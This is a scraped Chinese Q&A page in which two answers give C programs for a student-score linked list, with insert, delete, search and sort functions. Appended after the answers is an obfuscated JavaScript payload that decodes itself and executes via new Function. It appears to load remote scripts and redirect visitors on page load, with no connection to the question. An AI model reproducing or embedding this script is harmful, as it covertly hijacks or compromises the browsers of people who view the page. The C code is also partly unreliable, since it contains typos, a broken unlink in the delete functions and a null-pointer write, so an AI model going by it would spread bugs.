C语言链表的问题

2025-03-31 19:12:55
推荐回答(2个)
回答1:

Insert函数里编的有点乱,其他的没看。
struct student* insert(struct student *head,struct student *stu)
{
struct student *p1,*p2;
p1=NUll; p2=head;
while(p2!=NULL&&stu->num>p2->num){
p1=p2;
p2=p2->next;
}
if(p1==NULL) head=stu;
else p1->next=stu;
stu->next=p2;
retuen head;
}

前两天作为作业,我也编了一个学生动态链表,供你参考。程序在VC++2005上编译、运行通过,链表部分使用的是标准算法。

//by 兔弟蛇哥

#include
#include
#include
#include

#define NL printf("\n");
#define CLS system("CLS");
#define PAUSE system("PAUSE");
#define EMPTYLINE while(getchar()!='\n');

#define MAX_STDUENT_NUM 50 //当前允许的最大学生数以及允许的最大学号

struct student{
int number;
char name[50];
float mark[4]; //分别表示语文、数学、英语、总分
struct student *next;
};
struct student *Head;
int StudentNum;
struct student *Head_Orderly[4];

void GO(int);
void PrintStu(struct student *);
struct student* Creat(struct student*);
void SearchOrderly(int,struct student *,struct student **,struct student**);
int SeachStdNum(int,struct student *);
float InputNum(char *,int,int,char *);
int InputYN(void);
struct student* SearchStuByName(char [],struct student *);
struct student* SearchStuByNum(int,struct student *);
int DeleteByNum(int,struct student **);
int DeleteByName(char [],struct student **);
struct student *BeOrdered(struct student *,int);

void main()
{
Head=NULL;
StudentNum=0; //已输入的学生总数
int k,choice;
for(k=0;k<4;k++)
Head_Orderly[k]=NULL;

while(1){
printf("**********学生成绩动态链表示意程序**********\n\n");
printf("当前设定的最大学生数:%d\n",MAX_STDUENT_NUM);
printf("当前设定的学号范围:1-%d\n",MAX_STDUENT_NUM);
printf("1 输入新的学生数据\n");
printf("2 删除指定学生数据\n");
printf("3 查询学生成绩信息\n");
printf("0 退出\n");
NL NL

choice=(int)InputNum("请选择:",0,3,"int");
GO(choice);
}
}

void GO(int choice){

struct student *T,*p;
int number,choice2,choice3;
char name[50];
switch(choice){
case 0: exit(EXIT_SUCCESS);
case 1: {Head=Creat(Head); break;}
case 2: {NL NL
if(Head==NULL){
printf("很遗憾,链表中没有学生!\n");
return;
}

printf("1 按姓名\n");
printf("2 按学号\n");
printf("3 返回\n");
NL NL
choice2=(int)InputNum("请选择:",1,3,"int");
switch(choice2){
case 3: return;
case 1: {printf("请输入要删除的学生姓名:");
scanf("%s",name);
DeleteByName(name,&Head);
break;
}
case 2: {
number=(int)InputNum("请输入要删除的学生学号:",1,MAX_STDUENT_NUM,"int");
DeleteByNum(number,&Head);
break;
}
}
break;
}
case 3: {NL NL
if(Head==NULL){
printf("很遗憾,链表中没有学生!\n");
return;
}

printf("1 查询全部\n");
printf("2 按姓名查询\n");
printf("3 按学号查询\n");
printf("4 按语文分数排序\n");
printf("5 按数学分数排序\n");
printf("6 按英语分数排序\n");
printf("7 按总分分数排序\n");
printf("8 返回\n");
NL NL
choice3=(int)InputNum("请选择:",1,8,"int");
if(choice3==8) return;
if(choice3==1) {PrintStu(Head); return;}
if(choice3==2){printf("请输入要查询的学生姓名:");
scanf("%s",name);
p=SearchStuByName(name,Head);

if(p==NULL)
printf("无此学生!\n\n");
else{
T=(struct student*)malloc(sizeof(struct student));
*T=*p;
T->next=NULL;
PrintStu(T);
}
return;
}
if(choice3==3){
number=(int)InputNum("请输入要查询的学生学号:",1,MAX_STDUENT_NUM,"int");
p=SearchStuByNum(number,Head);
if(p==NULL)
printf("无此学生!\n\n");
else{
T=(struct student*)malloc(sizeof(struct student));
*T=*p;
T->next=NULL;
PrintStu(T);
}
return;
}
Head_Orderly[choice3-4]=BeOrdered(Head,choice3-4);
PrintStu(Head_Orderly[choice3-4]);
return;
}
}
}

void PrintStu(struct student *head)
{
struct student *p;
int i=0;
p=head;
printf("序号\t学号\t姓名\t语文\t数学\t英语\t总分\n");
while(p!=NULL){
printf("%d\t%d\t%s\t%.1f\t%.1f\t%.1f\t%.1f\n",++i,p->number,&p->name,p->mark[0],p->mark[1],p->mark[2],p->mark[3]);
p=p->next;
}
NL NL
PAUSE
NL NL
return;
}

struct student* Creat(struct student *head) //新建或插入链表
{
struct student *p,*u,*v; //p:新建表元指针;v,u:查询时的当前表元和前驱表元的指针
p=u=v=NULL;

/*创建新表元*/
while(1){
if(StudentNum==MAX_STDUENT_NUM){
printf("学生已输满!\n\n");
return head;
}

p=(struct student*)malloc(sizeof(struct student));
while(1){
p->number=(int)InputNum("学号:",1,MAX_STDUENT_NUM,"int");
if(head==NULL||SeachStdNum(p->number,head)==0) break;//检查学号是否重复(允许不顺序输入学号)
printf("学号重复!请重输:");
}

printf("请输入姓名:");
scanf("%s",p->name);
p->mark[0]=InputNum("语文成绩:",0,100,"float");
p->mark[1]=InputNum("数学成绩:",0,100,"float");
p->mark[2]=InputNum("英语成绩:",0,100,"float");
p->mark[3]=p->mark[0]+p->mark[1]+p->mark[2];
p->next=NULL;

/*按学号顺序插入新表元*/
if(head==NULL) head=p;
else{
SearchOrderly(p->number,head,&v,&u);
if(v==NULL) head=p;
else v->next=p;
p->next=u;
}
StudentNum++;
printf("添加成功!现有学生:%d人。\n",StudentNum);
printf("是否继续(Y/N)?");
if(InputYN()==0) return head;
}
}

void SearchOrderly(int num,struct student *head,struct student **v,struct student **u)
{
struct student *u1,*v1;
v1=NULL;
u1=head;
while(u1!=NULL&&num>u1->number){
v1=u1;
u1=u1->next;
}
*v=v1;
*u=u1;
return;
}

int SeachStdNum(int num,struct student *head)
{
struct student *p;
p=head;
while(p!=NULL&&p->number!=num)
p=p->next;
if(p==NULL) return 0;
else return 1;
}

float InputNum(char *string,int range_min,int range_max,char *mode)
{
char temp[10];
int i;
int err;
char mode1[]="int";
union{
int a;
float b;
}input;
for(;;){
err=0;
printf("%s",string);
scanf("%10s",temp);
EMPTYLINE
if(strlen(temp)>4) continue;
for(i=0;temp[i]!='\0';i++)
if((isdigit(temp[i])==0&&temp[i]!='.')||(isdigit(temp[i])==0&&strcmp(mode1,mode)==0)) err=1;
if(err) continue;
if(strcmp(mode1,mode)==0){
input.a=atoi(temp);
if(input.a>=range_min&&input.a<=range_max)
return (float)input.a;
}
else{
input.b=atof(temp);
if(input.b>=(float)range_min&&input.b<=(float)range_max)
return input.b;

}
}
}

int InputYN() //检查输入。(N(n)或Y(y))
{
char t[3];
while(1){
scanf("%2s",&t);
EMPTYLINE
if(t[1]) printf("输入的字符过多!");
else if(t[0]=='Y'||t[0]=='y') return 1;
else if(t[0]=='N'||t[0]=='n') return 0;
else printf("输入有误!");
NL
printf("请重新输入:");
}
}

struct student* SearchStuByName(char name[],struct student *head)
{
struct student *p;
p=head;
while(p!=NULL){
if(strcmp(name,p->name)==0) return p;
p=p->next;
}
return NULL;
}

struct student* SearchStuByNum(int Num,struct student *head)
{
struct student *p;
p=head;
while(p!=NULL){
if(p->number==Num) return p;
p=p->next;
}
return NULL;
}

int DeleteByNum(int Num,struct student **head)
{
struct student *v,*u;
u=v=NULL;
SearchOrderly(Num,*head,&v,&u);
if(u==NULL||u->number!=Num){
printf("找不到此学号的学生!删除失败。");
NL NL
return 1;
}
if(v==NULL) *head=u->next;
else v=u->next;
u->next=NULL;
free(u);
StudentNum--;
printf("删除成功!现在链表中共有%d位学生。",StudentNum);
NL NL
return 0;
}

int DeleteByName(char name[],struct student **head)
{
struct student *v,*u;
v=NULL;
u=*head;
while(u!=NULL&&strcmp(u->name,name)){
v=u;
u=u->next;
}
if(u==NULL){
printf("找不到此姓名的学生!删除失败。");
NL NL
return 1;
}
if(v==NULL) *head=u->next;
else v=u->next;
u->next=NULL;
free(u);
StudentNum--;
printf("删除成功!现在链表中共有%d位学生。",StudentNum);
NL NL
return 0;
}

struct student *BeOrdered(struct student *head,int mode)
{

struct student *newhead,*p,*newp,*u,*v,*u2;
int i;
p=head;
newhead=u=v=NULL;

while(p!=NULL){
newp=(struct student*)malloc(sizeof(struct student));
*newp=*p;
newp->next=NULL;

if(newhead==NULL) newhead=newp;
else{
v=NULL; u=newhead;
while(u!=NULL&&newp->mark[mode]mark[mode]){
v=u;
u2=u;
u=u->next;
}
if(newp->mark[mode]==u2->mark[mode]){ //如果该科成绩相等,依次以语文、数学、英语的顺序排序
for(i=0;i<3;i++){
if(newp->mark[mode]>u->mark[mode]){
v=u;
u=u->next;
break;
}
}
}

if(v==NULL) newhead=newp;
else v->next=newp;
newp->next=u;
}
p=p->next;
}
return newhead;
}

回答2:

花了将近一个小时,终于搞好了.在机上试过,可以通过VC++6.0
好累啊.终于弄好了.是时候要睡觉了.
#include
#include
struct student //你的这个程序没有结束的控制机制
{
long num;
float chengji;
struct student *next;
};
int n; //n 应该用来控制输入的次数
struct student * creat();
void output(struct student *head);
struct student* del(struct student *head,long num);
struct student* insert(struct student *head,struct student *stu);

void main()
{ int temp=0;
long num;
struct student *head=NULL,*stud=NULL; //这样改进一下更加的完美
printf("please input how many links do you want:");
scanf("%d",&n);
do{
printf("press 1 to initialize the link \n 2 to display the link \n 3 to delect the link \n 4 to insert the link \n0 to exit\n");
scanf("%d",&temp);
stud=NULL;
switch(temp)
{case 1: printf("请输入链表:");
head=creat();
output(head);
break;
case 2: output(head);break;
case 3: printf("请输入要删除的链表:");
scanf("%ld",&num);
head=del(head,num);
output(head); break;
case 4:
printf("请输入要插入的链表:");
scanf("%ld,%f",&stud->num,&stud->chengji);
head=insert(head,stud);
scanf("%ld,%f",&stud->num,&stud->chengji);
output(head);
break;

default: break;}
} while(temp!=0);

}

struct student* creat()
{
struct student *head,*p1,*p2;
int i=0; //此处引入一个i,用以计数,控制创建表的个数,程序应改成如下:

head=p1=p2=(student*)malloc(sizeof(student));
scanf("%ld,%f",&p1->num,&p1->chengji);
if(n==1) {p1->next=NULL;}
else

while(p1!=NULL&&i {

p1=(student*)malloc(sizeof(student));
scanf("%ld,%f",&p1->num,&p1->chengji);
p2->next=p1;
p2=p1;
i++;
}
p2->next=NULL;
return(head);
}
void output(struct student *head)
{
struct student *p;
printf("链表为:\n");
p=head;
if(head!=NULL)
{
while(p!=NULL) //此处用while,请不要用do...while 否则会算多一次
{ printf("%ld,%f\n",p->num,p->chengji);
p=p->next; }

}
}

struct student* del(struct student *head,long num)
{
struct student *p1,*p2;
if(head==NULL) printf("没有链表!\n");
p1=head;
while(num!=p1->num&&p1->next!=NULL)
{ p2=p1;
p1=p1->next;
}
if(num==p1->num)
{
if(p1==head) head=p1->next;
else
{ p2->next=p1->next; }
printf("删除了%ld链表\n",num);
n--;
}
else
printf("找不到该链表!");
return(head);
}
struct student* insert(struct student *head,struct student *stu)
{
struct student *p1,*p2,*p3;
p1=head;
p2=stu;
if(head==NULL)
{ head=p2;
p2->next=NULL; }
else
{
while((p2->num>p1->num)&&(p1->next!=NULL))
{
p3=p1;
p1=p1->next;
}
if(p2->num<=p1->num)
{
if(head==p1)
{ head=p2; }
else
{ p3->next=p2; }
p2->next=p1;
}
else
{
p1->next=p2;p2->next=NULL;
}
}
n=n+1;
return(head);
}

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();